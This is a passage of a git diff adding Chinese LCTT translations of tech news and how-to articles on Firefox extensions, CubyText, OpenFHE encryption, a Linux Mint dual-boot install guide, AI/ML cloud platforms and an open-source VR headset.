扩展,它允许你将完整的网页截图并保存为长图或 PDF 文件,最重要的是,你还可以在截图上注释(哈哈哈)!但是注释功能只能在 Windows 上使用,真是太可惜了! + +它**没有 Firefox 的“推荐”徽章**。 因此,你可以在决定使用它之前在其附加页面上探索更多有关它的信息。 + +> **[下载 FireShot][33]** + +### 总结 + +本文涵盖了各种 Firefox 扩展,我认为这些扩展应该有助于改善你的 Web 浏览体验。 + +你最喜欢的 Firefox 扩展是什么? 在下面的评论中让我知道你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/firefox-add-ons/ + +作者:[Pratham Patel][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-browsers-ubuntu-linux/ +[2]: https://www.bleepingcomputer.com/news/security/chrome-extensions-with-14-million-installs-steal-browsing-data/ +[3]: https://itsfoss.com/wp-content/uploads/2022/09/bitwarden-firefox-add-on.jpg +[4]: https://support.mozilla.org/en-US/kb/add-on-badges +[5]: https://support.mozilla.org/en-US/kb/permission-request-messages-firefox-extensions +[6]: https://itsfoss.com/best-firefox-add-ons/ +[7]: https://itsfoss.com/wp-content/uploads/2022/09/facebook-container.jpg +[8]: https://addons.mozilla.org/en-US/firefox/addon/facebook-container/ +[9]: https://itsfoss.com/wp-content/uploads/2022/09/ublockorigin-firefox-1.jpg +[10]: https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/ +[11]: https://itsfoss.com/wp-content/uploads/2022/09/03-bitwarden.webp +[12]: https://github.com/bitwarden/clients/blob/master/LICENSE.txt +[13]: https://addons.mozilla.org/en-US/firefox/addon/bitwarden-password-manager/ +[14]: https://itsfoss.com/wp-content/uploads/2022/09/04-languagetool.webp +[15]: https://www.grammarly.com/ +[16]: https://addons.mozilla.org/en-US/firefox/addon/languagetool/ +[17]: https://itsfoss.com/wp-content/uploads/2022/09/firefox-tanquility.jpg +[18]: https://addons.mozilla.org/en-US/firefox/addon/tranquility-1/ +[19]: https://itsfoss.com/wp-content/uploads/2022/09/06-enhancer-for-yt.webp +[20]: https://www.mrfdev.com/how-to-use-enhancer-for-youtube +[21]: https://addons.mozilla.org/en-GB/firefox/addon/enhancer-for-youtube +[22]: https://itsfoss.com/wp-content/uploads/2022/09/tomato-time-management.jpg +[23]: https://addons.mozilla.org/en-US/firefox/addon/tomato-clock/ +[24]: https://itsfoss.com/wp-content/uploads/2022/09/08-src-by-img.webp +[25]: https://addons.mozilla.org/en-US/firefox/addon/search_by_image/privacy/ +[26]: https://addons.mozilla.org/en-US/firefox/addon/search_by_image/privacy/ +[27]: https://addons.mozilla.org/en-US/firefox/addon/search_by_image/ +[28]: https://itsfoss.com/wp-content/uploads/2022/09/09-dict-anywhere.webp +[29]: https://addons.mozilla.org/en-GB/firefox/addon/dictionary-anyvhere/ +[30]: https://itsfoss.com/wp-content/uploads/2022/01/vimium-firefox.png +[31]: https://addons.mozilla.org/en-GB/firefox/addon/vimium-ff/ +[32]: https://itsfoss.com/wp-content/uploads/2022/09/fireshot.jpg +[33]: https://addons.mozilla.org/en-GB/firefox/addon/fireshot/ diff --git a/published/202209/20220913 CubyText is a Fast Cross-Platform Open-Source Knowledge Management App in Development.md b/published/202209/20220913 CubyText is a Fast Cross-Platform Open-Source Knowledge Management App in Development.md new file mode 100644 index 0000000000..a66304e099 --- /dev/null +++ b/published/202209/20220913 CubyText is a Fast Cross-Platform Open-Source Knowledge Management App in Development.md @@ -0,0 +1,80 @@ +[#]: subject: "CubyText is a Fast Cross-Platform Open-Source Knowledge Management App in Development" +[#]: via: "https://news.itsfoss.com/cubytext-experimental-project/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15053-1.html" + +CubyText:一个正在开发中的快速的跨平台开源知识管理应用 +====== + +> CubyText 是一个迷人的个人项目,你可以分叉或尝试作为一个知识管理应用。 + +![CubyText 是一个正在开发中的快速的跨平台开源知识管理应用][1] + +有很多开源应用可以帮助你记下并组织你的想法、研究或知识。 + +如果你不记得它们,请允许我分享其中的几个: + +* [Logseq][2] +* [Obisidian][3] + +当然,你还可以探索一些最适合这项工作的笔记应用: + +> **[这里是我们为你找到的最好的 Linux 笔记应用][4]** + +但是,我看到了 **Vincent Chan** 的个人项目,它提供了类似于 Notion 的外观,专注于成为一种快速且私密的选择。 + +> 💡 请注意,开发者并不打算将其作为任何商业项目的替代品。它是一个实验性的应用程序,以满足他的要求。不要指望它能取代你最喜欢的任何应用程序。 + +### CubyText:实验性知识管理应用 + +![cuby text][6] + +[CubyText][7] 是一款自由开源的**跨平台**知识管理应用,还处于早期开发阶段。 + +*📢 该项目的第一个版本于 9 月 12 日上线。所以,它是真的新啊。* + +你可以在 Linux、macOS 和 Windows 上试用它。 **.deb** 文件可用于 Linux。 + +该项目的有趣之处在于其类似于 Notion 的用户界面与块编辑器的概念。开发者为这个工具建立了一个 [块编辑器][8],以便能够组织内容。 + +![cuby text][9] + +因此,你在此处添加的任何内容都是按块组织的。它支持带有 Markdown 标记的富文本,因此你可以轻松地增强你的笔记。 + +此外,你可以添加选项卡以快速创建更多笔记以及一目了然地了解信息。你还可以在上面的截图中注意到待办事项列表。 + +看起来很有趣,对吧? + +如果你好奇,请前往它的 [GitHub 页面][10] 并为你的平台下载适当的包进行测试。 + +> **[CubyText][11]** + +*💬 你如何看待 CubyText 这个个人项目?你想要这样的东西来代替你的笔记知识管理应用吗?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/cubytext-experimental-project/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/cuby-text-ft.png +[2]: https://itsfoss.com/logseq/ +[3]: https://itsfoss.com/obsidian-markdown-editor/ +[4]: https://itsfoss.com/note-taking-apps-linux/ +[6]: https://news.itsfoss.com/content/images/2022/09/cubytext.png +[7]: https://github.com/vincentdchan/CubyText +[8]: https://github.com/vincentdchan/blocky-editor +[9]: https://news.itsfoss.com/content/images/2022/09/cubytext-tabs.png +[10]: https://github.com/vincentdchan/CubyText +[11]: https://github.com/vincentdchan/CubyText diff --git a/published/202209/20220914 Google Uses Fully Homomorphic Open Source Duality-Led Encryption Library.md b/published/202209/20220914 Google Uses Fully Homomorphic Open Source Duality-Led Encryption Library.md new file mode 100644 index 0000000000..7036138cb0 --- /dev/null +++ b/published/202209/20220914 Google Uses Fully Homomorphic Open Source Duality-Led Encryption Library.md @@ -0,0 +1,39 @@ +[#]: subject: "Google Uses Fully Homomorphic Open Source Duality-Led Encryption Library" +[#]: via: "https://www.opensourceforu.com/2022/09/google-uses-fully-homomorphic-open-source-duality-led-encryption-library/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15048-1.html" + +谷歌使用 Duality 主导的完全同态开源加密库 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/google-3-1536x1123.jpg) + +> 合作伙伴关系的增长加速了 FHE 市场的采用。 + +据 Duality 技术公司的新闻稿,谷歌已将其在 GitHub 上开源的使用 XLS SDK 开发的开源项目完全同态加密(FHE)转译器与领先的开源完全同态加密fully homomorphic encryption库 OpenFHE 合并。通过使加密知识更简单、更容易接近,开发者对 FHE 的采用将增加。 + +这类称为 FHE 的加密技术不同于更常见的加密技术,因为它可以直接对加密数据进行计算,而无需密钥。一个由知名密码学家组成的社区创建了 OpenFHE,这是一个根深于后量子开源晶格密码学的加密库。 + +该库旨在实现最佳可用性、增强的 API、模块化、跨平台可移植性,以及与硬件结合时的项目加速器。开发人员可以通过将 OpenFHE 与谷歌的转译器结合起来,使用高级代码来操作加密数据,例如经常用于未加密数据的 C++,而不需要学习密码学。 + +谷歌的转译器简化了使用 FHE 驱动的应用程序的过程,而无需目前从头开始构建 FHE 所需的广泛的软件开发专业知识。这填补了软件设计人员和开发人员偶尔遇到的空白,他们希望从 FHE 的功能中受益,而不必经历那具有挑战性的学习曲线。 + +Duality 公司的密码学研究高级主管兼首席科学家 Yuriy Polyakov 补充说:“我们的团队通过我们的 OpenFHE 库达成了重要的里程碑,它已迅速成为当今许多技术领导者的选择,例如谷歌。谷歌转译器为那些非 FHE 专家的应用开发者社区提供了 OpenFHE 同态加密的最新技术。” + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/google-uses-fully-homomorphic-open-source-duality-led-encryption-library/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220914 Install Linux Mint with Windows 11 Dual Boot [Complete Guide].md b/published/202209/20220914 Install Linux Mint with Windows 11 Dual Boot [Complete Guide].md new file mode 100644 index 0000000000..34b647b5a1 --- /dev/null +++ b/published/202209/20220914 Install Linux Mint with Windows 11 Dual Boot [Complete Guide].md @@ -0,0 +1,175 @@ +[#]: subject: "Install Linux Mint with Windows 11 Dual Boot [Complete Guide]" +[#]: via: "https://www.debugpoint.com/linux-mint-install-windows/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "gpchn" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15073-1.html" + +使用 Windows 11 双引导安装 Linux Mint +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/26/115222iqlvc0w020m37mc3.jpg) + +> 将 Linux Mint 与 Windows 11(或 Windows 10)同时安装并制作双引导系统的完整指南。 + +如果你是新 Linux 用户,想在不删除 OEM 安装的 Windows 的情况下安装 Linux Mint,请遵循本指南。完成下面描述的步骤后,你应该拥有一个双引导系统,你可以在其中学习和在 Linux 系统中完成工作,而无需引导 Windows。 + +### 1、开始之前你需要什么? + +启动到你的 Windows 系统并从官方网站下载 Linux Mint ISO 文件。 ISO 文件是 Linux Mint 的安装镜像,我们将在本指南中使用它。 + +在官网(图1),下载 Cinnamon 桌面版的 ISO(适合所有人)。 + +> **[下载链接][1]** + +![图 1:从官网下载 Linux Mint][2] + +下载后,将 U 盘插入你的系统。然后使用 Rufus 或 [Etcher][3] 将上面下载的 .ISO 文件写入该 USB 驱动器。 + +### 2、准备一个分区来安装 Linux Mint + +正常情况下,Windows 笔记本电脑通常配备 C 盘和 D 盘。C 盘是安装 Windows 的地方。对于新的笔记本电脑,D 驱动器通常是空的(任何后续驱动器,如 E 等)。现在,你有两个选项可供选择:一是 **缩小 C 盘** 为额外的 Linux 安装腾出空间。第二个是**使用其他驱动器/分区**,例如 D 盘或 E盘。 + +选择你希望的方法。 + +如果你选择使用 D 盘或 E 盘用于 Linux 系统,请确保先禁用 BitLocker,然后再禁用现代 OEM 安装的 Windows 笔记本电脑附带的所有其他功能。 + +* 从开始菜单打开 Windows PowerShell 并键入以下命令(图 2)以禁用 BitLocker。根据你的目标驱动程序更改驱动器号(这里,我使用了驱动器 E)。 + +``` +manage-bde -off E +``` + +![图 2:禁用 Windows 驱动器中的 BitLocker 以安装 Linux][4] + +如果你选择缩小 C 盘(或任何其他驱动器),请从开始菜单打开“磁盘管理Disk Management”,它将显示你的整个磁盘布局。 + +* 右键单击​​并在要缩小的驱动器上选择“缩小卷Shrink Volume”(图 3),以便为 Linux Mint 腾出位置。 + +![图 3:磁盘分区中的压缩卷选项示例][5] + +* 在下一个窗口中,在“输入要缩小的空间量(以 MB 为单位)Enter the amount of space to shrink in MB”下以 MB 为单位提供你的分区大小(图 4)。显然,它应该小于或等于“可用空间大小Size of available space”中提到的值。因此,对于 100 GB 的分区,给出 100*1024=102400 MB。 +* 完成后,单击“缩小Shrink”。 + +![图 4:输入 Linux 分区的大小][6] + +现在,你应该会看到一个“未分配空间Unallocated Space”,如下所示(图 5)。右键单击它并选择“新建简单卷New Simple Volume”。 + +![图 5:创建未分配空间][7] + +* 此向导将使用文件系统准备和格式化分区。注意:你可以在 Windows 本身中或在 Linux Mint 安装期间执行此操作。Linux Mint 安装程序也为你提供了创建文件系统表和准备分区的选项,我建议你在这里做。 +* 在接下来的一系列屏幕中(图 6、7 和 8),以 MB 为单位给出分区大小,分配驱动器号(例如 D、E、F)和文件系统为 fat32。 + +![图 6:新建简单卷向导-page1][8] + +![图 7:新建简单卷向导-page2][9] + +![图 8:新建简单卷向导-page3][10] + +* 最后,你应该会看到你的分区已准备好安装 Linux Mint。你应该在 Mint 安装期间按照以下步骤选择此选项。 + +![图 9:安装 Linux 的最终分区][11] + +* 作为预防措施,**记下分区大小**(你刚刚在图 9 中作为示例创建的分区)以便在安装程序中快速识别它。 + +### 3、在 BIOS 中禁用安全启动 + +插入 USB 驱动器并重新启动系统。 + +* 开机时,反复按相应的功能键进入 BIOS。你的笔记本电脑型号的按键可能不同。下面是主要笔记本电脑品牌的参考。 + +| 笔记本厂商 | 进入 BIOS 的功能键 | +| :- | :- | +| 宏碁 | `F2` 或 `DEL` | +| 华硕 | PC 使用 `F2`,主板是 `F2` 或 `DEL` | +| 戴尔 | `F2` 或 `F12` | +| 惠普 | `ESC` 或 `F10` | +| Lenovo | `F2` 或 `Fn + F2` | +| Lenovo(台式机) | F1` | +| Lenovo(ThinkPad) | `Enter + F1` | +| 微星 | `DEL` | +| 微软 Surface 平板 | 按住音量增加键 | +| ORIGIN PC | `F2` | +| 三星 | `F2` | +| 索尼 | `F1`、`F2` 或 `F3` | +| 东芝 | `F2` | + +* 你应该禁用 BIOS 安全设置并确保将启动设备优先级设置为 U 盘。 +* 然后按 `F10` 保存并退出。 + +### 4、安装 Linux Mint + +如果一切顺利,你应该会看到一个安装 Linux Mint 的菜单。选择 “Start Linux Mint……” 选项。 + +![图 10:Linux Mint GRUB 菜单启动安装][12] + +片刻之后,你应该会看到 Linux Mint Live 桌面。在桌面上,你应该会看到一个安装 Linux Mint 的图标以启动安装。 + +在下一组屏幕中,选择你的语言、键盘布局、选择安装多媒体编解码器并点击继续按钮。 + +在安装类型窗口中,选择 “其他Something Else” 选项。 + +在下一个窗口(图 11)中,仔细选择以下内容: + +![图11:选择 Windows 11 安装 Linux Mint 的目标分区][13] + +* 在“设备Device”下,选择刚刚创建的分区;你可以通过我之前提到的要记下的分区大小来识别它。 +* 然后点击“更改Change”,在编辑分区窗口中,选择 Ext4 作为文件系统,选择格式化分区选项和挂载点为 `/`。 +* 单击“确定OK”,然后为你的系统选择“引导加载程序 boot loader”;理想情况下,它应该是下拉列表中的第一个条目。 +* 仔细检查更改。因为一旦你点击立即安装,你的磁盘将被格式化,并且无法恢复。当你认为一切准备就绪,请单击“立即安装Install Now”。 + +在以下屏幕中,选择你的位置,输入你的姓名并创建用于登录系统的用户 ID 和密码。安装应该开始(图 12)。 + +![图 12:安装中][14] + +安装完成后(图 13),取出 U 盘并重新启动系统。 + +![图 13:安装完成][15] + +如果一切顺利,在成功安装为双引导系统后,你应该会看到带有 Windows 11 和 Linux Mint 的 GRUB。 + +现在你可以使用 [Linux Mint][16] 并体验快速而出色的 Linux 发行版。 + +### 总结 + +在本教程中,我向你展示了如何在装有 OEM 的 Windows 的笔记本电脑或台式机中使用 Linux Mint 创建一个简单的双启动系统。这些步骤包括分区、创建可引导 USB、格式化和安装。 + +尽管上述说明适用于 Linux Mint 21 Vanessa;但是,它现在应该可以用于所有其他出色的 [Linux 发行版][17]。 + +如果你遵循本指南,请在下面的评论框中告诉我你的安装情况。 + +如果你成功了,欢迎来到自由世界! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/linux-mint-install-windows/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[gpchn](https://github.com/gpchn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.linuxmint.com/download.php +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/Download-Linux-Mint-from-the-official-website.jpg +[3]: https://www.debugpoint.com/etcher-bootable-usb-linux/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/09/Disable-BitLocker-in-Windows-Drives-to-install-Linux.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/09/Example-of-Shrink-Volume-option-in-Disk-Partition-1024x453.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/09/Enter-the-size-of-your-Linux-Partition.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/09/Unallocated-space-is-created.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/09/New-Simple-Volume-Wizard-page1.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/09/New-Simple-Volume-Wizard-page2.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/09/New-Simple-Volume-Wizard-page3.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/09/Final-partition-for-installing-Linux.jpg +[12]: https://www.debugpoint.com/wp-content/uploads/2022/09/Linux-Mint-GRUB-Menu-to-kick-off-installation.jpg +[13]: https://www.debugpoint.com/wp-content/uploads/2022/09/Choose-the-target-partition-to-install-Linux-Mint-with-Windows-11.jpg +[14]: https://www.debugpoint.com/wp-content/uploads/2022/09/Installation-is-in-progress.jpg +[15]: https://www.debugpoint.com/wp-content/uploads/2022/09/Installation-is-complete.jpg +[16]: https://www.debugpoint.com/linux-mint +[17]: https://www.debugpoint.com/category/distributions +[18]: https://www.debugpoint.com/install-java-17-ubuntu-mint/ diff --git a/published/202209/20220914 Platforms that Help Deploy AI and ML Applications on the Cloud.md b/published/202209/20220914 Platforms that Help Deploy AI and ML Applications on the Cloud.md new file mode 100644 index 0000000000..6109b8473f --- /dev/null +++ b/published/202209/20220914 Platforms that Help Deploy AI and ML Applications on the Cloud.md @@ -0,0 +1,145 @@ +[#]: subject: "Platforms that Help Deploy AI and ML Applications on the Cloud" +[#]: via: "https://www.opensourceforu.com/2022/09/platforms-that-help-deploy-ai-and-ml-applications-on-the-cloud/" +[#]: author: "Dr Kumar Gaurav https://www.opensourceforu.com/author/dr-gaurav-kumar/" +[#]: collector: "lkxed" +[#]: translator: "misitebao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15050-1.html" + +帮助在云端部署 AI 和 ML 应用程序的平台 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/08/AI-ML-infographics.jpg) + +> 人工智能(AI)和机器学习(ML)正在影响当今几乎每个行业。本文重点介绍了这些技术在我们日常生活中的各种使用方式,以及一些开源云平台如何实现其部署。 + +人工智能artificial intelligence(AI)的目标是构建能够模仿人类认知的机器和自动化系统。在全球范围内, AI 正在以各种方式改变着社会、政治和经济。 AI 应用的例子包括谷歌帮助Google Help、Siri、Alexa 和特斯拉等自动驾驶汽车。 + +如今, AI 正被广泛使用,以有效的方式解决各行各业的难题。它被用于医疗保健行业,以做出比人类更准确、更快速的诊断。医生可以使用 AI 来诊断疾病,并在患者病情恶化时得到提醒。 + +数据安全对每个企业都至关重要,网络攻击的数量也在不断增加。使用 AI ,可以提高数据的安全性。这方面的一个例子是集成智能机器人来识别软件错误和网络攻击。 + +Twitter、WhatsApp、Facebook 和 Snapchat 只是使用 AI 算法存储和管理数十亿个人资料的社交媒体平台中的一小部分。 AI 可以整理和筛选大量数据,以找到最新趋势、标签和各种各样人的需求。 + +![Figure 1: Key applications of machine learning][1] + +旅游业越来越依赖 AI ,因为后者可以帮助完成各种与旅行相关的任务,包括为消费者预订酒店、航班和最佳路线。为了提供更好、更快的客户服务,由 AI 驱动的聊天机器人正被用于旅游业。 + +| 工具/平台 | 链接 | +| :------------ | :------------------------------------- | +| Streamlit | https://github.com/streamlit/streamlit | +| TensorFlow | https://www.tensorflow.org/ | +| PyTorch | https://pytorch.org/ | +| scikit-learn | https://scikit-learn.org/ | +| Apache Spark | https://spark.apache.org/ | +| Torch | http://torch.ch/ | +| Hugging Face | https://huggingface.co/ | +| Keras | https://keras.io/ | +| TensorFlowJS | https://www.tensorflow.org/js | +| KNIME | https://www.knime.com/ | +| Apache Mahout | https://mahout.apache.org/ | +| Accord | http://accord-framework.net/ | +| Shogun | http://shogun-toolbox.org/ | +| RapidMiner | https://rapidminer.com/ | +| Blocks | https://github.com/mila-iqia/blocks | +| TuriCreate | https://github.com/apple/turicreate | +| Dopamine | https://github.com/google/dopamine | +| FlairNLP | https://github.com/flairNLP/flair | + +*表 1: ML 的工具和框架* + +### 不同领域的机器学习 + +让软件应用程序和小工具自行响应和发展的所有技术和工具都称为机器学习machine learning(ML)。多亏了 ML 技术, AI 可以在没有真正被明确编程来执行所需操作的情况下进行学习。ML 算法不依赖于预定义的计算机指令,而是从样本输入中学习一个模式,然后完全基于学习到的模式来预测和执行任务。如果没有严格的算法可供选择, ML 可以成为救命稻草。它将通过分析以前的处理方式来选择新处理方式,然后将其付诸实施。ML 为各种行业的技术进步和以前无法想象的技术扫清了道路。如今,它被用于各种尖端技术 — 从预测算法到互联网电视直播。 + +一个值得注意的 ML 和 AI 技术是图像识别,它是一种对数字图像中的特征或项进行分类和检测的方法。分类和人脸识别是使用这种方法完成的。 + +![Figure 2: Streamlit cloud for machine learning][2] + +将 ML 用于推荐系统是其最广泛使用和知名的应用之一。在当今的电子商务世界中,产品推荐是一种利用强大的 ML 技术的代表性工具。网站使用 AI 和 ML 来跟踪过去的购买、搜索趋势和购物车历史,然后根据这些数据生成产品推荐。 + +在医疗保健行业中使用 ML 算法引起了很多兴趣。通过使用 ML 算法,可以跨多个医院部门预测急诊室等待时间。员工轮班的详细信息、患者数据以及科室讨论和急诊室布局的记录都用于帮助创建算法。 ML 算法可用于检测疾病、计划治疗和预测。 + +**用于 ML 的云平台的主要特点**: + +- 算法或特征提取 +- 关联规则挖掘 +- 基于大数据的预测分析 +- 分类、回归和聚类 +- 数据加载和转换 +- 数据准备、数据预处理和可视化 +- 降维 +- 分布式线性代数 +- 假设检验和核方法 +- 处理图像、音频、信号和视觉数据集 +- 模型选择和优化模块 +- 预处理和数据流编程 +- 推荐系统 +- 通过插件支持文本挖掘和图像挖掘 +- 可视化和绘图 + +### 基于云的 AI 和 ML 应用程序部署 + +AI 和 ML 的应用可以部署在云平台上。如今,许多云服务提供商使程序员能够构建模型以在其领域内进行有效的决策。 + +这些基于云的平台与预先训练的 ML 和深度学习deep learning(DL)模型集成在一起,无需任何编码或用少量的脚本即可在这些模型上部署应用程序。 + +![Figure 3: Categories of ML deployments in Streamlit][3] + +#### Streamlit + +Streamlit 让数据科学家和 ML 专家能够访问各种 ML 模型。它是开源的并且与云部署兼容。ML 模型可以在几分钟内准备好与数据集一起使用 + +Streamlit 提供一系列 ML 模型和多个类别的源代码,包括自然语言处理、地理、教育、计算机视觉等。 + +![Figure 4: Hugging Face for machine learning][4] + +#### Hugging Face + +这是另一个平台,为各种类别的 ML 和 AI 提供预先训练的模型和架构。许多企业巨头都在使用这个平台,包括 Facebook AI、微软、谷歌 AI、亚马逊网络服务和 Grammarly。 + +Hugging Face 中提供了许多预训练和部署就绪的模型,用于不同的应用程序,包括自然语言处理和计算机视觉。 + +使用 Hugging Face 中的 ML 模型可以执行以下任务: + +- 音频到音频处理 +- 自动语音识别 +- 计算机视觉 +- 填充蒙版 +- 图像分类 +- 图像分割 +- 物体检测 +- 问题应答 +- 句子相似度 +- 总结 +- 文本分类 +- 文本生成 +- 文本到语音翻译 +- 令牌分类 +- 翻译分类 + +Hugging Face 中可用的问题解决器经过优化且有效,有助于快速部署模型(图 5)。 + +![Figure 5: Problem solvers and models in Hugging Face][5] + +这些基于云的平台对多个领域的研究人员、从业者和数据科学家非常有用,并简化了性能良好的实际应用程序的开发。 + +--- + +via: https://www.opensourceforu.com/2022/09/platforms-that-help-deploy-ai-and-ml-applications-on-the-cloud/ + +作者:[Dr Kumar Gaurav][a] +选题:[lkxed][b] +译者:[Misite Bao](https://github.com/misitebao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux 中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/dr-gaurav-kumar/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-1-Key-applications-of-machine-learning.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-2-Streamlit-cloud-for-machine-learning.png +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-3-Categories-of-ML-deployments-in-Streamlit.png +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-4-Hugging-Face-for-machine-learning.png +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/08/Figure-5-Problem-solvers-and-models-in-Hugging-Face.png diff --git a/published/202209/20220915 A Project For An Open Source 3D-Printed VR Headgear From Europe.md b/published/202209/20220915 A Project For An Open Source 3D-Printed VR Headgear From Europe.md new file mode 100644 index 0000000000..756f16333c --- /dev/null +++ b/published/202209/20220915 A Project For An Open Source 3D-Printed VR Headgear From Europe.md @@ -0,0 +1,42 @@ +[#]: subject: "A Project For An Open Source 3D-Printed VR Headgear From Europe" +[#]: via: "https://www.opensourceforu.com/2022/09/a-project-for-an-open-source-3d-printed-vr-headgear-from-europe/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "zjsoftceo" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15044-1.html" + +来自欧洲的一个开源 3D 打印 VR 头盔项目 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/virtual-reality-4-1536x864.jpg) + +> 三家欧洲企业创建了一个 6 GHz WiFi 6E 无线开源虚拟现实头盔。 + +捷克 3D 打印专家 Prusa Research 公司正在与模拟器开发商 Vrgineers 和英国的 Somnium Space 合作开发 Somnium VR ONE 头盔。这款产品可以连接或者独立使用,旨在尽可能地开放,来改变虚拟现实市场中受限的供应。 + +由于 Android 11 操作系统是一个开源的操作系统,其源代码是公开的,因此它将在不受限制的商业许可下出售。其中央处理单元是高通骁龙 XR2 CPU,支持 microSD 存储卡,并拥有 8GB 的LPDDR5 内存和 512GB UFS 闪存。 + +它采用新的 6 GHz 的 WiFi 6E 高带宽无线协议,而不是目前拥挤的 5GHz 和 2.4GHz WiFi频率,以实现更高的带宽和低延迟连接。它包括两个 3.2 英寸 2880RGB * 2880 快速液晶屏幕,具有 120 度水平视野和 100 度垂直视野。 + +它具有两个用于外部小工具的 USB-C 10 Gbit/s 链路,和一个 USB-C USB2.0 电池组(USB3.2 Gen2)。Somnium Space 与布拉格的 VRgineers 合作,在线销售电子产品和独有的镜头,使用户能够 3D 打印自己的头盔,此外,也会提供完整的头盔。 + +该企业于 2012 年在布拉格成立,已经拥有 700 多名员工。开源的 Prusa i3 design 是世界上使用最广泛的 3D 打印机,每月从布拉格直接向 160 多个国家运送超过 10000 台 Original Prusa 打印机。 + +合成训练环境Synthetic Training Environments(STE)是由捷克共和国的模拟器开发商 VRgineers 向企业和政府客户提供的。它创造了被称为 XTAL 的专业 8K 头盔,该头盔被 NASA、空客防务与航天公司和 BAE Systems 公司使用,目前在布拉格、布尔诺和拉斯维加斯拥有一支由 50 名专家组成的国际团队。 + +总部位于伦敦的 Somnium Space 是一个建立在区块链上的开放、社交和永久虚拟现实平台。由于其独特的 NFT 的去中心化经济,用户可以拥有、交易和交换数字商品而无需获得授权。它已经与高通公司和 Ultraleap 公司在 Lynx R-1 上进行了合作,这是一个独立的增强现实(AR)头盔设计。 + +-------------------------------------------------------------------------------- +via: https://www.opensourceforu.com/2022/09/a-project-for-an-open-source-3d-printed-vr-headgear-from-europe/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[zjoftceo](https://github.com/zjsoftceo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220915 How I switched from Docker Desktop to Colima.md b/published/202209/20220915 How I switched from Docker Desktop to Colima.md new file mode 100644 index 0000000000..ff2ba6e558 --- /dev/null +++ b/published/202209/20220915 How I switched from Docker Desktop to Colima.md @@ -0,0 +1,86 @@ +[#]: subject: "How I switched from Docker Desktop to Colima" +[#]: via: "https://opensource.com/article/22/9/docker-desktop-colima" +[#]: author: "Michael Anello https://opensource.com/users/ultimike" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15084-1.html" + +我如何从 Docker Desktop 切换到 Colima +====== + 